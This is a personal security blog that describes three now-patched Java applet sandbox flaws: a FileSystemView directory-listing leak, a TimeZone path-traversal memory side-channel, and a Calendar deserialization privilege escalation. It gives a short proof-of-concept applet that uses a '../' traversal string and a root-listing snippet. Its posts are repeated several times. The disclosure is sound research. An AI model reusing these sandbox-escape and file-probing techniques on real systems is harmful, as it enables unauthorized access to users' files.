ShellFolder instances are tricky to obtain, as access to the package is not allowed from an applet. Still, FileSystemView has two methods that return ShellFolder objects. The getRoots() and the getDefaultDirectory(). And the getFiles method returns an array of ShellFolder objects which can be used to recurse the whole filesystem. I was able to create an applet exploiting this on a Windows XP machine. The actual bug apparently was in the Win32ShellFolder2 class, which is the windows implementation for the low-level directory listing operations. The class overwrites a listFiles method and fails to ask the Security Manger if it's ok to list the files.
I originally started from an idea of an attack that involved constructing a FileDialog/JFileChooser and then having that dialog draw itself on an off-screen image. The plan was to then interpret this image an extract sensitive information from it.
Ran into some trouble with that approach. FileDialog, being an AWT component, refused to draw anything but a blank image on my image object and JFileChooser wouldn't instantiate, because the initialization tries to access the system property user.dir and the security manager won't accept that.
I proceeded to craft a subclass of JFileChooser, in which I overwrote the method that threw a security exception, calling the method of the superclass, but catching the exception, so that the init method would not fail and an instance would be created. This worked to some extent: the instance was created, a dialog window appeared, but it was empty. Nothing.
When thinking of ways to interact with the dialogs, I later thought of associating a FileFilter object with the dialog. I first tested with FileDialog, but even as I was writing the code, I read on the Javadoc that the Sun implementation doesn't take the FileFilter into consideration. I moved on to test with my crippled JFileChooser and bingo! it worked. For every file/folder in my "My Documents" folder, JFileChooser called the boolean accept(File) method of my FileFilter thus enabling me to capture the contents of that folder.
With that success, I then proceeded to try and change the folder of the JFileChooser to get access to other folders. No go. Whatever folder I set with JFileChooser.setCurrentDirectory, caused a security exception.
Not giving up so easily, I overwrote the getCurrentDirectory method to return a folder. To my surprise, that resulted in a security exception as well. That had me baffled. Why was the File object returned by the original JFileChooser working, and the one I created wasn't? I even tried to create a File with the same folder as the one that the JFileChooser returned by default. A security exception. I tried to call getParentFile() on the File object returned by the superclass. A security exception. What was going on? Then I discovered that the File instance that the getCurrentDirectory default implementation returned was actually a ShellFolder instance. ShellFolder is a subclass of File. I also discovered that the ShellFolder instance came from a class called FileSystemView that the JFileChooser uses for disk access. I found out that the FileSystemView has a getFiles(File, boolean) method which lists the contents of a folder. But calling it with a File object results in a security exception. Instantiating a ShellFolder object doesn't work, because accessing the sun.awt.shell package from an applet results in a security exception. But the FileSystemView methods getDefaultFolder and getRoots and getFiles return ShellFolder objects. In the end the solution was a lot simpler than what I was originally going for:
The bug was fixed in Java 6 update 11, released in the beginning of December 2008. Sun credited Henri Torgemane and yours truly, but I don't know Mr. Torgemane. I imagine we both reported the problem on different occasions around the same time.
Anyway, here's the original post:
I was looking at the Java applet security and file system access and seems like there's a problem in Java 6 update 6.
The class javax.swing.filechooser.FileSystemView allows listing of folder contents (to be very clear, by folder contents I mean the names of the files contained in that folder), starting from any ShellFolder (File subclass) instance.
ShellFolder instances are tricky to obtain, as access to the package is not allowed from an applet. Still, FileSystemView has two methods that return ShellFolder objects. The getRoots() and the getDefaultDirectory(). And the getFiles method returns an array of ShellFolder objects which can be used to recurse the whole filesystem. I was able to create an applet exploiting this on a Windows XP machine. The actual bug apparently was in the Win32ShellFolder2 class, which is the windows implementation for the low-level directory listing operations. The class overwrites a listFiles method and fails to ask the Security Manger if it's ok to list the files.
I originally started from an idea of an attack that involved constructing a FileDialog/JFileChooser and then having that dialog draw itself on an off-screen image. The plan was to then interpret this image an extract sensitive information from it.
Ran into some trouble with that approach. FileDialog, being an AWT component, refused to draw anything but a blank image on my image object and JFileChooser wouldn't instantiate, because the initialization tries to access the system property user.dir and the security manager won't accept that.
I proceeded to craft a subclass of JFileChooser, in which I overwrote the method that threw a security exception, calling the method of the superclass, but catching the exception, so that the init method would not fail and an instance would be created. This worked to some extent: the instance was created, a dialog window appeared, but it was empty. Nothing.
When thinking of ways to interact with the dialogs, I later thought of associating a FileFilter object with the dialog. I first tested with FileDialog, but even as I was writing the code, I read on the Javadoc that the Sun implementation doesn't take the FileFilter into consideration. I moved on to test with my crippled JFileChooser and bingo! it worked. For every file/folder in my "My Documents" folder, JFileChooser called the boolean accept(File) method of my FileFilter thus enabling me to capture the contents of that folder.
With that success, I then proceeded to try and change the folder of the JFileChooser to get access to other folders. No go. Whatever folder I set with JFileChooser.setCurrentDirectory, caused a security exception.
Not giving up so easily, I overwrote the getCurrentDirectory method to return a folder. To my surprise, that resulted in a security exception as well. That had me baffled. Why was the File object returned by the original JFileChooser working, and the one I created wasn't? I even tried to create a File with the same folder as the one that the JFileChooser returned by default. A security exception. I tried to call getParentFile() on the File object returned by the superclass. A security exception. What was going on? Then I discovered that the File instance that the getCurrentDirectory default implementation returned was actually a ShellFolder instance. ShellFolder is a subclass of File. I also discovered that the ShellFolder instance came from a class called FileSystemView that the JFileChooser uses for disk access. I found out that the FileSystemView has a getFiles(File, boolean) method which lists the contents of a folder. But calling it with a File object results in a security exception. Instantiating a ShellFolder object doesn't work, because accessing the sun.awt.shell package from an applet results in a security exception. But the FileSystemView methods getDefaultFolder and getRoots and getFiles return ShellFolder objects. In the end the solution was a lot simpler than what I was originally going for:
FileSystemView fsv = FileSystemView.getFileSystemView();
File[] roots = fsv.getRoots();
for (File root : roots) {
System.out.println(root.getPath());
}
Friday, February 13, 2009
Side-channel attack
I learned a new term the other day: Side-channel attack
While the term was new to me, the concept I was familiar with. It made me remember one of the smaller problems on Java applet security I had studied.
Untrusted applets have limited rights. There are lots of things they can't do. However, there is a ton of information about the execution environment that the applet does have access to, such as: Memory utilization, timing information, etc.
Consider, for example the method freeMemory of the Runtime class. The method can be called from an applet. Basically this method tells you how much free memory there is in the JVM. Garbage-collector and threads complicate, but basically you can use it find out how much memory a piece of code used. You'd do this by calling freeMemory before a block of code, and then immediately after the block of code, hoping the garbage collector didn't run and no other thread created objects, etc.
Consider now, a piece of privileged system code that you can execute, but it's been carefully crafted not to leak any privileged information to you.
But, in some cases, even the path that the code traverses is privileged information. You have no easy way to find out the path in a sandbox environment, but memory and timing information could be enough for a really good approximation.
Let's see a practical example:
The getTimeZone method of the TimeZone class takes a String ID of a timezone. But, if there is no TimeZone object cached with the given ID, it reads and tries to parse a file named ID in java.home/lib/zi. So if we pass the ID "foo", it'll try to open java.home/lib/zi/foo, read the whole file into memory and then try to parse it.
From the example above, you might have guessed that it just concatenates the ID to a String which represents the path to the zi folder and does no sanity check for the ID. So we can pass ../../... until we get to the root of the drive and then put any path we please. In the case of the example: notepad.exe.
The parsing will most probably fail if you're not pointing to a zoneinfo file, so nothing useful will ever ever be returned from the method. But judging from how much memory was allocated, you can get a good approximation of the file size and test for file existence.
While the term was new to me, the concept I was familiar with. It made me remember one of the smaller problems on Java applet security I had studied.
Untrusted applets have limited rights. There are lots of things they can't do. However, there is a ton of information about the execution environment that the applet does have access to, such as: Memory utilization, timing information, etc.
Consider, for example the method freeMemory of the Runtime class. The method can be called from an applet. Basically this method tells you how much free memory there is in the JVM. Garbage-collector and threads complicate, but basically you can use it find out how much memory a piece of code used. You'd do this by calling freeMemory before a block of code, and then immediately after the block of code, hoping the garbage collector didn't run and no other thread created objects, etc.
Consider now, a piece of privileged system code that you can execute, but it's been carefully crafted not to leak any privileged information to you.
But, in some cases, even the path that the code traverses is privileged information. You have no easy way to find out the path in a sandbox environment, but memory and timing information could be enough for a really good approximation.
Let's see a practical example:
import java.applet.Applet;
import java.util.TimeZone;
public class TZlet extends Applet {
public void start() {
for (int i=0; i < 1000; i++) {
long frees = Runtime.getRuntime().freeMemory();
TimeZone tz = TimeZone.getTimeZone("../../../../../../WINDOWS/notepad.exe");
long freee = Runtime.getRuntime().freeMemory();
System.out.println(frees-freee);
}
}
}
The getTimeZone method of the TimeZone class takes a String ID of a timezone. But, if there is no TimeZone object cached with the given ID, it reads and tries to parse a file named ID in java.home/lib/zi. So if we pass the ID "foo", it'll try to open java.home/lib/zi/foo, read the whole file into memory and then try to parse it.
From the example above, you might have guessed that it just concatenates the ID to a String which represents the path to the zi folder and does no sanity check for the ID. So we can pass ../../... until we get to the root of the drive and then put any path we please. In the case of the example: notepad.exe.
The parsing will most probably fail if you're not pointing to a zoneinfo file, so nothing useful will ever ever be returned from the method. But judging from how much memory was allocated, you can get a good approximation of the file size and test for file existence.
Wednesday, December 03, 2008
Calendar bug
Java 6 Update 11 fixes "calendar security bug" among others.
Altough some minor adjustments were made to the Calendar class, the actual fix deals with how deserialization calls non-serializable superclass constructor. But I like to call it the Calendar bug, anyway, because in my original evaluation of the problem I put the blame on the java.util.Calendar class.
The problem, which is present in Java 6 Update 10 and earlier (and in the corresponding Java 5 and Java 1.4.2 releases), goes something like this:
java.util.Calendar is a serializable class. Presumably due to reverse compatibility, its serialization logic is non-trivial. One of the non-trivial things that it does, is that the readObject method (which is used for customizing object deserialization) calls ObjectInputStream.readObject() inside a doPrivileged block to deserialize a ZoneInfo object which might or might not be present.
Something like this:
doPrivileged blocks are used when the caller of trusted code doesn't necessarily have the privileges to execute some operation. In this specific case, the ZoneInfo object being deserialized resides in the sun.util.calendar package and applet code normally doesn't have access to this package (or any package which starts with "sun.").
Without the doPrivileged block, if an unsigned applet were to try to deserialize a Calendar object, it would raise a SecurityException. With doPrivileged, the code executes fine even when the caller (unsigned applet code) doesn't have the privileges. There is an old bug related to deserializing calendar objects and the doPrivileged block was presumably the fix.
The problem is that there is absolutely no guarantee that the stream being read contains a ZoneInfo object. It might contain, for example, a serializable ClassLoader subclass. One would have to manouver a bit to create such a stream, but with basic knowledge of the Java serialization protocol, this is a relatively trivial task.
So what happens if there should to be a Serializable ClassLoader subclass in the stream in the place of the ZoneInfo object? What's the big deal?
The input.readObject() method would execute just fine, because it has no knowledge of what type of an object it is supposed to deserialize. It reads the stream, gets the details of the next object in the stream, instantiates the object (without calling the constructor) and returns the object.
At this point the Calendar code tries to do a cast of the object to the ZoneInfo type and this will cause a ClassCastException, as the types aren't compatible. But the object was deserialized just fine. The implication of this is that applet code can deserialize objects in a privileged context, just by constructing an input stream (ByteArrayInputStream, for example) which contains a special serialized Calendar object which contains some other object instead of a ZoneInfo.
You might think that the reference to the newly created object is forever lost, only to be collected by the garbage collector later on. However, it is possible to implement a readObject method in the serializable class which stores the reference to the created object in some static context.
So what?
Here's where the ClassLoader comes into play. java.lang.ClassLoader is not Serializable and thus can't be serialized. But it is a non-final class, so it can be extended.
Subclasses of non-serializable classes can be serializable just by implementing the java.io.Serializable interface. When the object is deserialized, the JVM first calls the constructor of the non-serializable class, and then it deserializes the fields of the serializable subclass. The fancy part is that there will be no subclass code on the stack when the constructor of the non-serializable class is called (or rather, this was true until update 11). Thus, if the deserialization happens in a privileged context, the constructor also gets called in a privileged context.
Why is this relevant?
Because calling a ClassLoader constructor requires special privileges. Privileges that an unsigned applet normally doesn't have. So this way an applet could (past tense, because of the fix in update 11) obtain it's very own ClassLoader. If you have access to your own ClassLoader subclass, you can load new classes with any privileges. You can load a class which has the privileges to do anything that the user running the browser running the applet can do, including, but not limited to, removing files, opening connections and executing external programs.
So how did Sun fix the bug?
Well, first of all, they left the doPrivileged block in the Calendar class. I'm not a 100% percent sure that was a correct decision, but more about that later on.
What they did fix, and on this I fully agree is that now when a serializable subclass of a non-serializable class is deserialized, a generated sun.reflect.GeneratedSerializationConstructorAccessorxxx instance is put on the call stack before calling the superclass constructor, thus making it lose the privileged context in the case where the subclass itself isn't privileged.
I had to correct myself on this one.
Altough some minor adjustments were made to the Calendar class, the actual fix deals with how deserialization calls non-serializable superclass constructor. But I like to call it the Calendar bug, anyway, because in my original evaluation of the problem I put the blame on the java.util.Calendar class.
The problem, which is present in Java 6 Update 10 and earlier (and in the corresponding Java 5 and Java 1.4.2 releases), goes something like this:
java.util.Calendar is a serializable class. Presumably due to reverse compatibility, its serialization logic is non-trivial. One of the non-trivial things that it does, is that the readObject method (which is used for customizing object deserialization) calls ObjectInputStream.readObject() inside a doPrivileged block to deserialize a ZoneInfo object which might or might not be present.
Something like this:
// If there's a ZoneInfo object, use it for zone.
try {
ZoneInfo zi = (ZoneInfo) AccessController.doPrivileged(
new PrivilegedExceptionAction() {
public Object run() throws Exception {
return input.readObject();
}
});
if (zi != null) {
zone = zi;
}
} catch (Exception e) {
}doPrivileged blocks are used when the caller of trusted code doesn't necessarily have the privileges to execute some operation. In this specific case, the ZoneInfo object being deserialized resides in the sun.util.calendar package and applet code normally doesn't have access to this package (or any package which starts with "sun.").
Without the doPrivileged block, if an unsigned applet were to try to deserialize a Calendar object, it would raise a SecurityException. With doPrivileged, the code executes fine even when the caller (unsigned applet code) doesn't have the privileges. There is an old bug related to deserializing calendar objects and the doPrivileged block was presumably the fix.
The problem is that there is absolutely no guarantee that the stream being read contains a ZoneInfo object. It might contain, for example, a serializable ClassLoader subclass. One would have to manouver a bit to create such a stream, but with basic knowledge of the Java serialization protocol, this is a relatively trivial task.
So what happens if there should to be a Serializable ClassLoader subclass in the stream in the place of the ZoneInfo object? What's the big deal?
The input.readObject() method would execute just fine, because it has no knowledge of what type of an object it is supposed to deserialize. It reads the stream, gets the details of the next object in the stream, instantiates the object (without calling the constructor) and returns the object.
At this point the Calendar code tries to do a cast of the object to the ZoneInfo type and this will cause a ClassCastException, as the types aren't compatible. But the object was deserialized just fine. The implication of this is that applet code can deserialize objects in a privileged context, just by constructing an input stream (ByteArrayInputStream, for example) which contains a special serialized Calendar object which contains some other object instead of a ZoneInfo.
You might think that the reference to the newly created object is forever lost, only to be collected by the garbage collector later on. However, it is possible to implement a readObject method in the serializable class which stores the reference to the created object in some static context.
So what?
Here's where the ClassLoader comes into play. java.lang.ClassLoader is not Serializable and thus can't be serialized. But it is a non-final class, so it can be extended.
Subclasses of non-serializable classes can be serializable just by implementing the java.io.Serializable interface. When the object is deserialized, the JVM first calls the constructor of the non-serializable class, and then it deserializes the fields of the serializable subclass. The fancy part is that there will be no subclass code on the stack when the constructor of the non-serializable class is called (or rather, this was true until update 11). Thus, if the deserialization happens in a privileged context, the constructor also gets called in a privileged context.
Why is this relevant?
Because calling a ClassLoader constructor requires special privileges. Privileges that an unsigned applet normally doesn't have. So this way an applet could (past tense, because of the fix in update 11) obtain it's very own ClassLoader. If you have access to your own ClassLoader subclass, you can load new classes with any privileges. You can load a class which has the privileges to do anything that the user running the browser running the applet can do, including, but not limited to, removing files, opening connections and executing external programs.
So how did Sun fix the bug?
Well, first of all, they left the doPrivileged block in the Calendar class. I'm not a 100% percent sure that was a correct decision, but more about that later on.
What they did fix, and on this I fully agree is that now when a serializable subclass of a non-serializable class is deserialized, a generated sun.reflect.GeneratedSerializationConstructorAccessorxxx instance is put on the call stack before calling the superclass constructor, thus making it lose the privileged context in the case where the subclass itself isn't privileged.
I had to correct myself on this one.
Sunday, May 11, 2008
FileSystemView allows read access to the filesystem structure from an unsigned applet
(12/05/2008: Post deferred to give Sun time to fix the bug).
The bug was fixed in Java 6 update 11, released in the beginning of December 2008. Sun credited Henri Torgemane and yours truly, but I don't know Mr. Torgemane. I imagine we both reported the problem on different occasions around the same time.
Anyway, here's the original post:
I was looking at the Java applet security and file system access and seems like there's a problem in Java 6 update 6.
The class javax.swing.filechooser.FileSystemView allows listing of folder contents (to be very clear, by folder contents I mean the names of the files contained in that folder), starting from any ShellFolder (File subclass) instance.
ShellFolder instances are tricky to obtain, as access to the package is not allowed from an applet. Still, FileSystemView has two methods that return ShellFolder objects. The getRoots() and the getDefaultDirectory(). And the getFiles method returns an array of ShellFolder objects which can be used to recurse the whole filesystem. I was able to create an applet exploiting this on a Windows XP machine. The actual bug apparently was in the Win32ShellFolder2 class, which is the windows implementation for the low-level directory listing operations. The class overwrites a listFiles method and fails to ask the Security Manger if it's ok to list the files.
I originally started from an idea of an attack that involved constructing a FileDialog/JFileChooser and then having that dialog draw itself on an off-screen image. The plan was to then interpret this image an extract sensitive information from it.
Ran into some trouble with that approach. FileDialog, being an AWT component, refused to draw anything but a blank image on my image object and JFileChooser wouldn't instantiate, because the initialization tries to access the system property user.dir and the security manager won't accept that.
I proceeded to craft a subclass of JFileChooser, in which I overwrote the method that threw a security exception, calling the method of the superclass, but catching the exception, so that the init method would not fail and an instance would be created. This worked to some extent: the instance was created, a dialog window appeared, but it was empty. Nothing.
When thinking of ways to interact with the dialogs, I later thought of associating a FileFilter object with the dialog. I first tested with FileDialog, but even as I was writing the code, I read on the Javadoc that the Sun implementation doesn't take the FileFilter into consideration. I moved on to test with my crippled JFileChooser and bingo! it worked. For every file/folder in my "My Documents" folder, JFileChooser called the boolean accept(File) method of my FileFilter thus enabling me to capture the contents of that folder.
With that success, I then proceeded to try and change the folder of the JFileChooser to get access to other folders. No go. Whatever folder I set with JFileChooser.setCurrentDirectory, caused a security exception.
Not giving up so easily, I overwrote the getCurrentDirectory method to return a folder. To my surprise, that resulted in a security exception as well. That had me baffled. Why was the File object returned by the original JFileChooser working, and the one I created wasn't? I even tried to create a File with the same folder as the one that the JFileChooser returned by default. A security exception. I tried to call getParentFile() on the File object returned by the superclass. A security exception. What was going on? Then I discovered that the File instance that the getCurrentDirectory default implementation returned was actually a ShellFolder instance. ShellFolder is a subclass of File. I also discovered that the ShellFolder instance came from a class called FileSystemView that the JFileChooser uses for disk access. I found out that the FileSystemView has a getFiles(File, boolean) method which lists the contents of a folder. But calling it with a File object results in a security exception. Instantiating a ShellFolder object doesn't work, because accessing the sun.awt.shell package from an applet results in a security exception. But the FileSystemView methods getDefaultFolder and getRoots and getFiles return ShellFolder objects. In the end the solution was a lot simpler than what I was originally going for:
The bug was fixed in Java 6 update 11, released in the beginning of December 2008. Sun credited Henri Torgemane and yours truly, but I don't know Mr. Torgemane. I imagine we both reported the problem on different occasions around the same time.
Anyway, here's the original post:
I was looking at the Java applet security and file system access and seems like there's a problem in Java 6 update 6.
The class javax.swing.filechooser.FileSystemView allows listing of folder contents (to be very clear, by folder contents I mean the names of the files contained in that folder), starting from any ShellFolder (File subclass) instance.
ShellFolder instances are tricky to obtain, as access to the package is not allowed from an applet. Still, FileSystemView has two methods that return ShellFolder objects. The getRoots() and the getDefaultDirectory(). And the getFiles method returns an array of ShellFolder objects which can be used to recurse the whole filesystem. I was able to create an applet exploiting this on a Windows XP machine. The actual bug apparently was in the Win32ShellFolder2 class, which is the windows implementation for the low-level directory listing operations. The class overwrites a listFiles method and fails to ask the Security Manger if it's ok to list the files.
I originally started from an idea of an attack that involved constructing a FileDialog/JFileChooser and then having that dialog draw itself on an off-screen image. The plan was to then interpret this image an extract sensitive information from it.
Ran into some trouble with that approach. FileDialog, being an AWT component, refused to draw anything but a blank image on my image object and JFileChooser wouldn't instantiate, because the initialization tries to access the system property user.dir and the security manager won't accept that.
I proceeded to craft a subclass of JFileChooser, in which I overwrote the method that threw a security exception, calling the method of the superclass, but catching the exception, so that the init method would not fail and an instance would be created. This worked to some extent: the instance was created, a dialog window appeared, but it was empty. Nothing.
When thinking of ways to interact with the dialogs, I later thought of associating a FileFilter object with the dialog. I first tested with FileDialog, but even as I was writing the code, I read on the Javadoc that the Sun implementation doesn't take the FileFilter into consideration. I moved on to test with my crippled JFileChooser and bingo! it worked. For every file/folder in my "My Documents" folder, JFileChooser called the boolean accept(File) method of my FileFilter thus enabling me to capture the contents of that folder.
With that success, I then proceeded to try and change the folder of the JFileChooser to get access to other folders. No go. Whatever folder I set with JFileChooser.setCurrentDirectory, caused a security exception.
Not giving up so easily, I overwrote the getCurrentDirectory method to return a folder. To my surprise, that resulted in a security exception as well. That had me baffled. Why was the File object returned by the original JFileChooser working, and the one I created wasn't? I even tried to create a File with the same folder as the one that the JFileChooser returned by default. A security exception. I tried to call getParentFile() on the File object returned by the superclass. A security exception. What was going on? Then I discovered that the File instance that the getCurrentDirectory default implementation returned was actually a ShellFolder instance. ShellFolder is a subclass of File. I also discovered that the ShellFolder instance came from a class called FileSystemView that the JFileChooser uses for disk access. I found out that the FileSystemView has a getFiles(File, boolean) method which lists the contents of a folder. But calling it with a File object results in a security exception. Instantiating a ShellFolder object doesn't work, because accessing the sun.awt.shell package from an applet results in a security exception. But the FileSystemView methods getDefaultFolder and getRoots and getFiles return ShellFolder objects. In the end the solution was a lot simpler than what I was originally going for:
FileSystemView fsv = FileSystemView.getFileSystemView();
File[] roots = fsv.getRoots();
for (File root : roots) {
System.out.println(root.getPath());
}
Subscribe to:
Posts (Atom)
